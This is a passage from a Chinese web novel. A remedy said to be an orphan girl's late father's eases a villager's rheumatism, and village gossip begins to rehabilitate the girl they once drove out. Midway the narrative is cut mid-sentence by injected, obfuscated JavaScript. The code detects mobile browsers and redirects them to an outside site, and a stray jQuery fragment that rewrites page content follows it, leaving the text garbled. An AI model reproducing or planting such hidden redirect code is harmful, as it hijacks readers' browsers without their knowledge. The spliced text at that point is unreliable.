金桂躺在炕上,看着丈夫煎药,眼中并无多少期待。这些年吃了太多药,苦水灌了一碗又一碗,病却一日重似一日。她早已不抱希望了。
第一碗药下去,并无动静。
第二碗,依旧。
第三碗喝完,金桂只是觉得身上暖了些,疼痛却未减多少。
“算了……”她虚弱地说,“别浪费银钱了。”
孙二根红着眼眶:“再吃一副,就一副!”
第四副药煎好时,那日阴雨绵绵,正是金桂最难熬的时候。她浑身关节疼如刀割,冷汗涔涔,几乎昏死过去。
孙二根颤抖着手喂她喝完药,守在炕边,心如刀绞。
约莫过了一个时辰,金桂忽然轻轻“咦”了一声。
“怎么了?”孙二根忙问。
“好像……”金桂缓缓动了动手指,“好像……没那么疼了?”
不是完全不疼,而是那种钻心刺骨的锐痛,变成了钝钝的酸胀。她试着屈了屈膝——往常这个动作会让她疼出眼泪,今日竟能勉强做到。
孙二根简直不敢相信:“当……当真?”
金桂又活动了下手腕,虽然依旧僵硬,但活动范围似乎大了些。她眼中渐渐泛起泪光:“好似……当真松快了些……”
李婆子闻讯赶来时,金桂已经能在搀扶下坐起身了。虽然依旧虚弱,虽然关节仍旧肿大,但那种萦绕不散的剧痛,确确实实减轻了。
“阿姐……”金桂握住李婆子的手,泪水滚落,“这药……这药真有用……”
李婆子背过身去,悄悄抹了把眼角。她想起山上那个安静采药的小小身影,心中百感交集。
消息传到山上时,已是翻年后。
李婆子又来看许娇娇,带了一篮子鸡蛋,还有金桂硬塞给她的一块粗布。
“金桂好了不少。”李婆子轻声道,“吃了十几副药,如今能下炕慢慢走几步了。虽然还没全好,但……总算有盼头了。”
许娇娇心中一宽:“那就好。”
李婆子看着她,眼里挂着泪,最终只是说:“娇杏啊,你爹留下的方子救了金桂一命,阿婆心里知道,多亏了你。”
“阿婆,”许娇娇拉着李婆子的手,温声细气:“阿婆,您怎么还跟我客气,金桂婶的病能有起色,也是她的造化,我只是做了我该做的。阿婆不需要这样。”
李婆子抚了抚她的头,欣慰的点头。“好孩子。”
送走李婆子,许娇娇回到院里。小鸡崽已长出翅膀,在草丛里啄虫。旺财趴在她脚边,尾巴轻轻摇着。
她望着远山,心中思绪万千。
风湿痹症是慢性病,金桂的病拖了五六年,筋骨已损,绝非几副药能根治。但若能缓解疼痛、改善功能,至少让她能下地活动,对这个家庭已是莫大恩德。
许娇娇知道,自己不能出面。一个八岁的孩子会开方治病,太过惊世骇俗。但通过李婆子之手,借父亲之名,或许能在不引人注目的情况下,帮助更多的人。
只是……这条路该怎么走,还需仔细思量。
她想起张记生药铺,想起那套银针,想起鲁大老娘服药后舒展的眉头。
或许,可以慢慢来。先认药,再学脉,一点点展露天分。待年纪稍长,再行医济世,便不会太过突兀。
夕阳西下,山间泛起暮霭。许娇娇起身收拾晒好的药材,动作从容安稳。
来日方长。
她有的是时间,在这深山之中,慢慢积蓄力量。待时机成熟,再一步步走向更广阔的天地。
而眼下最重要的,是把眼前的日子过好——采药,种菜,养鸡,读书,习医。
金桂能走了。
消息像春风里的一粒蒲公英种子,悄无声息地飘出石桥埠,落进落溪村,又随着过路的山风,散到了更远的沟沟坎坎。
金桂能下床走路的第五日,正巧是石桥埠村的赶集日。村里那条山溪边,几个妇人正在洗衣裳,棒槌声此起彼伏,溅起的水花在晨光里亮晶晶的。
“听说了没?孙二根的浑家,前几日还瘫在炕上只有半条命,这几日竟能扶着墙走动了!”说话的是石桥埠的赵干娘,五十来岁,一张嘴从来闲不住。
旁边李婶子停了手里的棒槌,睁大了眼:“当真?她那病不是都说没治了吗?镇上的王大夫去年就说,再拖下去,怕是要瘫一辈子。”
“千真万确!”赵干娘压低了声音,却压不住那股子兴奋,“我昨儿个亲眼瞧见的——金桂在院子里晒被子,虽说是扶着墙,可实实在在地站着呢!手指头瞧着也没那么肿了。你们说奇不奇?”
几个妇人互相看了一眼,都露出不可思议的神情。金桂的病在十里八乡都是出了名的,这些年孙二根为了给她治病,家底都快掏空了,谁不替他叹一声苦命?
“是吃了什么灵丹妙药?”有人问。
赵干娘神秘兮兮地左右看看,声音更低了:“说出来你们怕是不信——是落溪村那个许大郎留下的方子!”
“许大郎?”李婶子愣了愣,“他不是走了好几年了吗?”
“是走了,可方子留下了呀!”赵干娘说得眉飞色舞,“你们还记得许大郎家那个哑巴闺女不?就是被说克死爹娘,送到水月庵后山那个。”
“记得记得,叫娇杏是吧?怪可怜的……”有人唏嘘。
“可怜?”赵干娘一拍大腿,“人家如今不可怜了!听说开了窍,会说话了!那方子就是她记起来写出来的!”
溪边棒槌声霎时安静了,只有溪水哗哗的声音。
半晌,李婶子迟疑道:“她……她会说话了?不是生来就聋哑吗?”
“千真万确!金桂亲口说的!”赵干娘信誓旦旦,“你们想啊,许大郎在世时医术多高明?咱们村谁有个头疼脑热的,他随手扯几把草药就好。娇杏从前虽说不言语,可她天天跟在她阿爹身边,眼睛看着耳朵听着,那些本事不都印在脑子里了?如今开了窍,想起来了,这不就写出来了?”
这番话说得合情合理,妇人们纷纷点头。
“倒也是……许大郎是好人啊!”一个年纪大些的婆婆叹道,“那年我孙子出痘,烧得厉害,镇上的大夫都说没救了,是许大郎连夜上山采药,守了三天三夜,硬是把孩子从阎王爷手里拉回来的。诊金只要了十个鸡蛋。”
“可不是么,”另一个妇人接话,“我娘家兄弟摔断了腿,也是许大郎给接好的,如今走路一点不跛。他心善,穷苦人家看病,常常不收钱。”
说起许大郎的好,井台边的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222021|197528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妇人们打开了话匣子。这个说他治好了谁家的痨病,那个说他救活了谁家的牲口。许大郎夫妇来落溪村十几年,虽深居简出,却实实在在帮过不少人。
“这么说来……”李婶子若有所思,“那娇杏丫头,怕也不是什么克亲的恶鬼转世吧?若真是恶鬼,能记得她阿爹救人的方子?”这话像一颗石子投进平静的水面,荡开了一圈圈涟漪。
妇人们互相看看,神色都有些复杂。当初娇杏被赶出村,她们中不少人也跟着说过闲话,骂过“扫把星”。可如今想想,一个七岁就没了爹娘的孩子,又聋又哑,被赶到山里自生自灭……心里不免有些不是滋味。
“许是……许是咱们错怪了那孩子?”有人小声说。
“难说。”赵干娘摇摇头,“命硬不命硬的,咱们凡夫俗子哪看得明白?可金桂的病见好是真真的,那方子管用也是真真的。要我说啊,许大郎在天有灵,不忍心看咱乡亲受苦,这才让囡囡开了窍,来帮咱们呢!”
这话说得玄乎,却意外地让人信服。乡下人信因果,敬鬼神,这么一想,倒觉得合情合理了。
消息就这样一传十,十传百,越传越远,也越传越玄乎。
到后来,竟有人说娇杏是得了神仙点化,开了天眼,能看透病症;还有人说她夜里会发光,是菩萨座前的童女转世,来人间积功德的。
这些传言飘到落溪村村口那棵老柳树下时,几个正晒太阳的老人听了,半晌没说话。
春日的阳光暖洋洋的,透过柳树新发的嫩叶洒下来,在地上投下斑驳的光影。老柳树的树干要三个人才能合抱,树皮皴裂如老人的脸,不知见证了多少代人的悲欢。
“许大郎啊……”最年长的张太公眯着眼,声音嘶哑,“是个仁义人。”
旁边李老爹磕了磕旱烟杆:“那年我老伴儿心口疼,疼得在炕上打滚,是许大郎用针扎了几处,又熬了碗药,半个时辰就不疼了。他没收钱,只说邻里乡亲,应该的。”
“我那不争气的小子,上山被毒蛇咬了,腿肿得跟水桶似的,”另一个老人接话,“也是许大郎救的。用的什么草药我不认得,只记得他撕下自己的衣襟给我儿子包扎,那衣裳料子真好,是绸的……”
老人们你一言我一语,记忆的闸门打开了,那些被时光模糊的细节又清晰起来。许大郎夫妇初来落溪村时,男的俊朗挺拔,女的貌美如花,穿着体面,谈吐文雅,怎么看都不像寻常农户。村里人好奇,明里暗里打听过,可夫妻俩口风紧,只说是北边逃难来的,别的再也不肯多说。
他们住在村西头那三间瓦房里,许大郎偶尔上山采药,有时也打猎,柳氏则在家织布绣花,很少与村里人来往。可谁家真有难处找上门,他们从不推辞。
“这么说来……”张太公缓缓开口,声音在春风里有些飘忽,“娇杏那丫头,许真是被冤枉了?她爹娘都是善心人,生的闺女能坏到哪儿去?”
李老爹叹了口气:“当初赶她出村,是耆老和张家那几个主事人定的,咱们……咱们也没拦着。”
“是啊,没拦着。”张太公闭上眼睛,脸上皱纹更深了,“现在想想,一个七岁的孩子,爹娘刚走,就被赶出家门,赶到山里……咱们这些活了一大把年纪的,竟没一个人替她说句话。”